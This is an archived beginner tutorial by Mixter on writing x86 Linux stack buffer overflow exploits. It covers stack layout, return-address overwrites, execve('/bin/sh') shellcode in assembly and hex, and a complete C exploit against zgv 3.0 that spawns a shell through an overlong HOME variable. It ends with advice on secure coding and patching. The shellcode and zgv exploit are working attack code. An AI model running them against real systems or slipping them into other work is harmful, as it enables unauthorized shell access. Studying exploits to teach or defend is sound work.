home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / exploit.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  21.4 KB  |  515 lines

  1.  
  2.       Writing buffer overflow exploits - a tutorial for beginners
  3.       ===========================================================
  4.  
  5.     Security papers - members.tripod.com/mixtersecurity/papers.html
  6.  
  7. Buffer overflows in user input dependent buffers have become one of
  8. the biggest security hazards on the internet and to modern computing in
  9. general. This is because such an error can easily be made at programming
  10. level, and while invisible for the user who does not understand or cannot
  11. acquire the source code, many of those errors are easy to exploit. This
  12. paper makes an attempt to teach the novice - average C programmer how an
  13. overflow condition can be proven to be exploitable.
  14.  
  15. Mixter
  16.  
  17. _______________________________________________________________________________
  18.  
  19. 1. Memory
  20.  
  21. Note: The way I describe it here, memory for a process is organized on most
  22.       computers, however it depends on the type of processor architecture.
  23.       This example is for x86 and also roughly applies to sparc.
  24.  
  25. The principle of exploiting a buffer overflow is to overwrite parts of
  26. memory which aren't supposed to be overwritten by arbitrary input and
  27. making the process execute this code. To see how and where an overflow
  28. takes place, lets take a look at how memory is organized.
  29. A page is a part of memory that uses its own relative addressing, meaning
  30. the kernel allocates initial memory for the process, which it can then
  31. access without having to know where the memory is physically located in
  32. RAM. The processes memory consists of three sections:
  33.  
  34.  - code segment, data in this segment are assembler instructions that
  35.    the processor executes. The code execution is non-linear, it can skip
  36.    code, jump, and call functions on certain conditions. Therefore, we
  37.    have a pointer called EIP, or instruction pointer. The address where
  38.    EIP points to always contains the code that will be executed next.
  39.  
  40.  - data segment, space for variables and dynamic buffers
  41.  
  42.  - stack segment, which is used to pass data (arguments) to functions
  43.    and as a space for variables of functions. The bottom (start) of the
  44.    stack usually resides at the very end of the virtual memory of a page,
  45.    and grows down. The assembler command PUSHL will add to the top of the
  46.    stack, and POPL will remove one item from the top of the stack and put
  47.    it in a register. For accessing the stack memory directly, there is
  48.    the stack pointer ESP that points at the top (lowest memory address)
  49.    of the stack.
  50.  
  51. _______________________________________________________________________________
  52.  
  53. 2. Functions
  54.  
  55. A function is a piece of code in the code segment, that is called,
  56. performs a task, and then returns to the previous thread of execution.
  57. Optionally, arguments can be passed to a function. In assembler, it
  58. usually looks like this (very simple example, just to get the idea):
  59.  
  60. memory address        code
  61. 0x8054321 <main+x>    pushl $0x0
  62. 0x8054322        call $0x80543a0 <function>
  63. 0x8054327        ret
  64. 0x8054328        leave
  65. ...
  66. 0x80543a0 <function>    popl %eax
  67. 0x80543a1        addl $0x1337,%eax
  68. 0x80543a4        ret
  69.  
  70. What happens here? The main function calls function(0);
  71. The variable is 0, main pushes it onto the stack, and calls the
  72. function. The function gets the variable from the stack using popl.
  73. After finishing, it returns to 0x8054327. Commonly, the main function
  74. would always push register EBP on the stack, which the function stores,
  75. and restores after finishing. This is the frame pointer concept, that
  76. allows the function to use own offsets for addressing, which is mostly
  77. uninteresting while dealing with exploits, because the function will not
  78. return to the original execution thread anyways. :-)
  79. We just have to know what the stack looks like. At the top, we have the
  80. internal buffers and variables of the function. After this, there is the
  81. saved EBP register (32 bit, which is 4 bytes), and then the return address,
  82. which is again 4 bytes. Further down, there are the arguments passed to
  83. the function, which are uninteresting to us.
  84. In this case, our return address is 0x8054327. It is automatically stored
  85. on the stack when the function is called. This return address can be 
  86. overwritten, and changed to point to any point in memory, if there is an
  87. overflow somewhere in the code.
  88.  
  89. _______________________________________________________________________________
  90.  
  91. 3. Example of an exploitable program
  92.  
  93. Lets assume that we exploit a function like this:
  94.  
  95. void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
  96. main() { lame (); return 0; }
  97.  
  98. Compile and disassemble it:
  99. # cc -ggdb blah.c -o blah
  100. /tmp/cca017401.o: In function `lame':
  101. /root/blah.c:1: the `gets' function is dangerous and should not be used.
  102. # gdb blah
  103. /* short explanation: gdb, the GNU debugger is used here to read the
  104.    binary file and disassemble it (translate bytes to assembler code) */
  105. (gdb) disas main
  106. Dump of assembler code for function main:
  107. 0x80484c8 <main>:       pushl  %ebp
  108. 0x80484c9 <main+1>:     movl   %esp,%ebp
  109. 0x80484cb <main+3>:     call   0x80484a0 <lame>
  110. 0x80484d0 <main+8>:     leave
  111. 0x80484d1 <main+9>:     ret
  112.  
  113. (gdb) disas lame
  114. Dump of assembler code for function lame:
  115. /* saving the frame pointer onto the stack right before the ret address */
  116. 0x80484a0 <lame>:       pushl  %ebp
  117. 0x80484a1 <lame+1>:     movl   %esp,%ebp
  118. /* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
  119.    memory is allocated 4byte-wise (because the processor uses 32bit words)
  120.    this is the equivalent to: char small[30]; */
  121. 0x80484a3 <lame+3>:     subl   $0x20,%esp
  122. /* load a pointer to small[30] (the space on the stack, which is located
  123.    at virtual address 0xffffffe0(%ebp)) on the stack, and call
  124.    the gets function: gets(small); */
  125. 0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
  126. 0x80484a9 <lame+9>:     pushl  %eax
  127. 0x80484aa <lame+10>:    call   0x80483ec <gets>
  128. 0x80484af <lame+15>:    addl   $0x4,%esp
  129. /* load the address of small and the address of "%s\n" string on stack
  130.    and call the print function: printf("%s\n", small); */
  131. 0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
  132. 0x80484b5 <lame+21>:    pushl  %eax
  133. 0x80484b6 <lame+22>:    pushl  $0x804852c
  134. 0x80484bb <lame+27>:    call   0x80483dc <printf>
  135. 0x80484c0 <lame+32>:    addl   $0x8,%esp
  136. /* get the return address, 0x80484d0, from stack and return to that address.
  137.    you don't see that explicitly here because it is done by the CPU as 'ret' */
  138. 0x80484c3 <lame+35>:    leave
  139. 0x80484c4 <lame+36>:    ret
  140. End of assembler dump.
  141.  
  142. 3a. Overflowing the program
  143. # ./blah
  144. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    <- user input
  145. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  146. # ./blah
  147. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
  148. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  149. Segmentation fault (core dumped)
  150. # gdb blah core
  151. (gdb) info registers
  152.      eax:       0x24          36
  153.      ecx:  0x804852f   134513967
  154.      edx:        0x1           1
  155.      ebx:   0x11a3c8     1156040
  156.      esp: 0xbffffdb8 -1073742408
  157.      ebp:   0x787878     7895160 
  158.               ^^^^^^
  159. EBP is 0x787878, this means that we have written more data on the
  160. stack than the input buffer could handle. 0x78 is the hex representation
  161. of 'x'. The process had a buffer of 32 bytes maximum size. We have written
  162. more data into memory than allocated for user input and therefore overwritten
  163. EBP and the return address with 'xxxx', and the process tried to resume 
  164. execution at address 0x787878, which caused it to get a segmentation fault.
  165.  
  166. 3b. Changing the return address
  167.  
  168. Lets try to exploit the program to return to lame() instead of return.
  169. We have to change return address 0x80484d0 to 0x80484cb, that is all.
  170. In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET
  171. Here is a simple program to put the 4byte return address into a 1byte
  172. character buffer:
  173. main()
  174. {
  175. int i=0; char buf[44];
  176. for (i=0;i<=40;i+=4)
  177. *(long *) &buf[i] = 0x80484cb;
  178. puts(buf);
  179. }
  180. # ret
  181. ╦╦╦╦╦╦╦╦╦╦╦,
  182.  
  183. # (ret;cat)|./blah
  184. test         <- user input
  185. ╦╦╦╦╦╦╦╦╦╦╦,test
  186. test         <- user input
  187. test
  188.  
  189. Here we are, the program went through the function two times.
  190. If an overflow is present, the return address of functions can be
  191. changed to alter the programs execution thread.
  192.  
  193. _______________________________________________________________________________
  194.  
  195. 4. Shellcode
  196.  
  197. To keep it simple, shellcode is simply assembler commands, which we
  198. write on the stack and then change the retun address to return to
  199. the stack. Using this method, we can insert code into a vulnerable
  200. process and then execute it right on the stack.
  201. So, lets generate insertable assembler code to run a shell. A common
  202. system call is execve(), which loads and runs any binary, terminating
  203. execution of the current process. The manpage gives us the usage:
  204. int  execve  (const  char  *filename, char *const argv [], char *const envp[]);
  205. Lets get the details of the system call from glibc2:
  206. # gdb /lib/libc.so.6
  207. (gdb) disas execve
  208. Dump of assembler code for function execve:
  209. 0x5da00 <execve>:       pushl  %ebx
  210.  
  211. /* this is the actual syscall. before a program would call execve, it would
  212.   push the arguments in reverse order on the stack: **envp, **argv, *filename */
  213. /* put address of **envp into edx register */
  214. 0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
  215. /* put address of **argv into ecx register */
  216. 0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
  217. /* put address of *filename into ebx register */
  218. 0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
  219. /* put 0xb in eax register; 0xb == execve in the internal system call table */
  220. 0x5da0d <execve+13>:    movl   $0xb,%eax
  221. /* give control to kernel, to execute execve instruction */
  222. 0x5da12 <execve+18>:    int    $0x80
  223.  
  224. 0x5da14 <execve+20>:    popl   %ebx
  225. 0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
  226. 0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
  227. 0x5da1c <execve+28>:    ret
  228. End of assembler dump.
  229.  
  230. 4a. making the code portable
  231.  
  232. We have to apply a trick to be able to make shellcode without having
  233. to reference the arguments in memory the conventional way, by giving
  234. their exact address on the memory page, which can only be done at
  235. compile time.
  236. Once we can estimate the size of the shellcode, we can use the
  237. instructions jmp <bytes> and call <bytes> to go a specified number of
  238. bytes back or forth in the execution thread. Why use a call? We have
  239. the opportunity that a CALL will automatically store the return address
  240. on the stack, the return address being the next 4 bytes after the
  241. CALL instruction. By placing a variable right behind the call, we
  242. indirectly push its address on the stack without having to know it.
  243.  
  244. 0   jmp <Z>     (skip Z bytes forward)
  245. 2   popl %esi
  246. ... put function(s) here ...
  247. Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
  248. Z+5 .string     (first variable)
  249.  
  250. (Note: If you're going to write code more complex than for spawning a
  251. simple shell, you can put more than one .string behind the code. You know
  252. the size of those strings and can therefore calculate their relative
  253. locations once you know where the first string is located.)
  254.  
  255. 4b. the shellcode
  256.  
  257. global code_start        /* we'll need this later, dont mind it */
  258. global code_end
  259.     .data
  260. code_start:
  261.     jmp  0x17
  262.     popl %esi
  263.     movl %esi,0x8(%esi)    /* put address of **argv behind shellcode,
  264.                    0x8 bytes behind it so a /bin/sh has place */
  265.     xorl %eax,%eax        /* put 0 in %eax */
  266.     movb %eax,0x7(%esi)    /* put terminating 0 after /bin/sh string */
  267.     movl %eax,0xc(%esi)    /* another 0 to get the size of a long word */
  268. my_execve:
  269.     movb $0xb,%al        /* execve(         */
  270.     movl %esi,%ebx        /* "/bin/sh",      */
  271.     leal 0x8(%esi),%ecx    /* & of "/bin/sh", */
  272.     xorl %edx,%edx        /* NULL           */
  273.     int $0x80        /* );           */
  274.     call -0x1c
  275.     .string "/bin/shX"    /* X is overwritten by movb %eax,0x7(%esi) */
  276. code_end:
  277.  
  278. (The relative offsets 0x17 and -0x1c can be gained by putting in 0x0,
  279. compiling, disassembling and then looking at the shell codes size.)
  280.  
  281. This is already working shellcode, though very minimal. You should at
  282. least disassemble the exit() syscall and attach it (before the 'call').
  283. The real art of making shellcode also consists of avoiding any binary
  284. zeroes in the code (indicates end of input/buffer very often) and modify
  285. it for example, so the binary code does not contain control or lower
  286. characters, which would get filtered out by some vulnerable programs.
  287. Most of this stuff is done by self-modifying code, like we had in the
  288. movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without
  289. having a \0 in the shellcode initially...
  290.  
  291. Lets test this code... save the above code as code.S (remove comments)
  292. and the following file as code.c:
  293. extern void code_start();
  294. extern void code_end();
  295. #include <stdio.h>
  296. main() { ((void (*)(void)) code_start)(); }
  297.  
  298. # cc -o code code.S code.c
  299. # ./code
  300. bash#
  301.  
  302. You can now convert the shellcode to a hex char buffer.
  303. Best way to do this is, print it out:
  304. #include <stdio.h>
  305. extern void code_start(); extern void code_end();
  306. main() { fprintf(stderr,"%s",code_start); }
  307.  
  308. and parse it through aconv -h or bin2c.pl, those tools can be found at:
  309. http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity
  310.  
  311. _______________________________________________________________________________
  312.  
  313.  
  314. 5. Writing an exploit
  315.  
  316. Let us take a look at how to change the return address to point
  317. to shellcode put on the stack, and write a sample exploit.
  318. We will take zgv, because that is one of the easiest things
  319. to exploit out there :)
  320.  
  321. # export HOME=`perl -e 'printf "a" x 2000'`
  322. # zgv
  323. Segmentation fault (core dumped)
  324. # gdb /usr/bin/zgv core
  325. #0  0x61616161 in ?? ()
  326. (gdb) info register esp
  327.      esp: 0xbffff574 -1073744524
  328.  
  329. Well, this is the top of the stack at crash time. It is safe to
  330. presume that we can use this as return address to our shellcode.
  331.  
  332. We will now add some NOP (no operation) instructions before our buffer,
  333. so we don't have to be 100% correct regarding the prediction of the
  334. exact start of our shellcode in memory (or even brute forcing it).
  335. The function will return onto the stack somewhere before our shellcode,
  336. work its way through the NOPs to the inital JMP command, jump to the
  337. CALL, jump back to the popl, and run our code on the stack.
  338.  
  339. Remember, the stack looks like this: at the lowest memory address, the
  340. top of the stack where ESP points to, the initial variables are stored,
  341. namely the buffer in zgv that stores the HOME environment variable.
  342. After that, we have the saved EBP(4bytes) and the return address of the
  343. previous function. We must write 8 bytes or more behind the buffer to
  344. overwrite the return address with our new address on the stack.
  345.  
  346. The buffer in zgv is 1024 bytes big. You can find that out by glancing
  347. at the code, or by searching for the initial subl $0x400,%esp (=1024)
  348. in the vulnerable function. We will now put all those parts together
  349. in the exploit:
  350.  
  351. 5a. Sample zgv exploit
  352.  
  353. /*                   zgv v3.0 exploit by Mixter
  354.           buffer overflow tutorial - http://1337.tsx.org
  355.  
  356.         sample exploit, works for example with precompiled
  357.     redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
  358.  
  359. #include <stdio.h>
  360. #include <unistd.h>
  361. #include <stdlib.h>
  362.  
  363. /* This is the minimal shellcode from the tutorial */
  364. static char shellcode[]=
  365. "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
  366. "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
  367.  
  368. #define NOP     0x90
  369. #define LEN     1032
  370. #define RET     0xbffff574
  371.  
  372. int main()
  373. {
  374. char buffer[LEN];
  375. long retaddr = RET;
  376. int i;
  377.  
  378. fprintf(stderr,"using address 0x%lx\n",retaddr);
  379.  
  380. /* this fills the whole buffer with the return address, see 3b) */
  381. for (i=0;i<LEN;i+=4)
  382.    *(long *)&buffer[i] = retaddr;
  383.  
  384. /* this fills the initial buffer with NOP's, 100 chars less than the
  385.    buffer size, so the shellcode and return address fits in comfortably */
  386. for (i=0;i<(LEN-strlen(shellcode)-100);i++)
  387.    *(buffer+i) = NOP;
  388.  
  389. /* after the end of the NOPs, we copy in the execve() shellcode */
  390. memcpy(buffer+i,shellcode,strlen(shellcode));
  391.  
  392. /* export the variable, run zgv */
  393.  
  394. setenv("HOME", buffer, 1);
  395. execlp("zgv","zgv",NULL);
  396. return 0;
  397. }
  398.  
  399. /* EOF */
  400.  
  401. We now have a string looking like this:
  402.  
  403. [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
  404.  
  405. While zgv's stack looks like this:
  406.  
  407. v-- 0xbffff574 is here
  408. [     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]
  409.  
  410. The execution thread of zgv is now as follows:
  411.  
  412. main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
  413. At this point, zgv fails to do bounds checking, writes beyond smallbuffer,
  414. and the return address to main is overwritten with the return address on
  415. the stack. function() does leave/ret and the EIP points onto the stack:
  416. 0xbffff574 nop
  417. 0xbffff575 nop
  418. 0xbffff576 nop
  419. 0xbffff577 jmp $0x24                    1
  420. 0xbffff579 popl %esi          3 <--\    |
  421. [... shellcode starts here ...]    |    |
  422. 0xbffff59b call -$0x1c             2 <--/
  423. 0xbffff59e .string "/bin/shX"
  424.  
  425. Lets test the exploit...
  426. # cc -o zgx zgx.c
  427. # ./zgx
  428. using address 0xbffff574
  429. bash#
  430.  
  431. 5b. further tips on writing exploits
  432.  
  433. There are a lot of programs which are tough to exploit, but
  434. nonetheless vulnerable. However, there are a lot of tricks you can
  435. do to get behind filtering and such. There are also other overflow
  436. techniques which do not necessarily include changing the return address
  437. at all or only the return address. There are so-called pointer overflows,
  438. where a pointer that a function allocates can be overwritten by an
  439. overflow, altering the programs execution flow (an example is the RoTShB
  440. bind 4.9 exploit), and exploits where the return address points to the
  441. shells environment pointer, where the shellcode is located instead of
  442. being on the stack (this defeats very small buffers, and Non-executable
  443. stack patches, and can fool some security programs, though it can only
  444. be performed locally).
  445. Another important subject for the skilled shellcode author is radically
  446. self-modifying code, which initially only consists of printable, non-white
  447. upper case characters, and then modifies itself to put functional
  448. shellcode on the stack which it executes, etc.
  449. You should never, ever have any binary zeroes in your shell code, because
  450. it will most possibly not work if it contains any. But discussing how to
  451. sublimate certain assembler commands with others would go beyond the scope
  452. of this paper. I also suggest reading the other great overflow howto's out
  453. there, written by aleph1, Taeoh Oh and mudge.
  454.  
  455. 5c. important note
  456.  
  457. You will NOT be able to use this tutorial on Windows or Macintosh. Do
  458. NOT ask me for cc.exe and gdb.exe either! =oP
  459.  
  460. _______________________________________________________________________________
  461.  
  462. 6. Conclusions
  463.  
  464. We have learned, that once an overflow is present which is user dependent,
  465. it can be exploited about 90% of the time, even though exploiting some
  466. situations is difficult and takes some skill.
  467. Why is it important to write exploits? Because ignorance is omniscient in
  468. the software industry. There have already been reports of vulnerabilities
  469. due to buffer overflows in software, though the software has not been
  470. updated, or the majority of users didn't update, because the vulnerability
  471. was hard to exploit and nobody believed it created a security risk. Then,
  472. an exploit actually comes out, proves and practically enables a program to
  473. be exploitable, and there is usually a big (neccessary) hurry to update it.
  474.  
  475. As for the programmer (you), it is a hard task to write secure programs,
  476. but it should be taken very serious. This is a specially large concern
  477. when writing servers, any type of security programs, or programs that
  478. are suid root, or designed to be run by root, any special accounts, or the
  479. system itself. Apply bounds checking (strn*, sn*, functions instead of
  480. sprintf etc.), prefer allocating buffers of a dynamic, input-dependent, 
  481. size, be careful on for/while/etc. loops that gather data and stuff it
  482. into a buffer, and generally handle user input with very much care are
  483. the main principles I suggest.
  484.  
  485. There has also been made notable effort of the security industry to
  486. prevent overflow problems with techniques like non-executable stack,
  487. suid wrappers, guard programs that check return addresses, bounds checking
  488. compilers, and so on. You should make use of those techniques where
  489. possible, but do not fully rely on them. Do not assume to be safe at all
  490. if you run a vanilla two-year old UNIX distribution without updates, but
  491. overflow protection or (even more stupid) firewalling/IDS. It cannot
  492. assure security, if you continue to use insecure programs because _all_
  493. security programs are _software_ and can contain vulnerabilities themselves,
  494. or at least not be perfect. If you apply frequent updates _and_ security
  495. measures, you can still not expect to be secure, _but_ you can hope. :-)
  496.  
  497.  
  498. Mixter <mixter@newyorkoffice.com>
  499. http://members.tripod.com/mixtersecurity
  500.  
  501. _______________________________________________________________________________
  502.  
  503. -----BEGIN PGP SIGNATURE-----
  504. Version: PGP for Personal Privacy 5.0
  505. Charset: noconv
  506.  
  507. iQEVAwUBOEG2DLdkBvUb0vPhAQGBuQf+Ihg0w+AygH5ZmJyltK2Ap2nIkMJPFhzT
  508. /YTte9AQfawlNG+W8hIlnEOTxPNcxToER70WPzeVijOgygAIjQf0lW/VCyPzNEZv
  509. fjyI06QZQwY3RpXsOVoRfRGdukyl6dtzhpQrbMGoLtqoSzn/GGyD2+EnmQZ6oG3U
  510. 9sXFYydlm5FPJK08a72+QHMml51Ma5KX+oGG2XojXwWpwM5O6U2JX0ZGgdTCaRal
  511. b4VO32w/amddmPosERbdm+cWFigAiD6O5OhZmb1FZRnAQf1kHXOHMvfTQTVRYJna
  512. aeJJYrF/Kki8xvUeE4PFJNkS317scqlv7L5rQygAzrZJFx84kxaSIA==
  513. =xp73
  514. -----END PGP SIGNATURE-----
  515.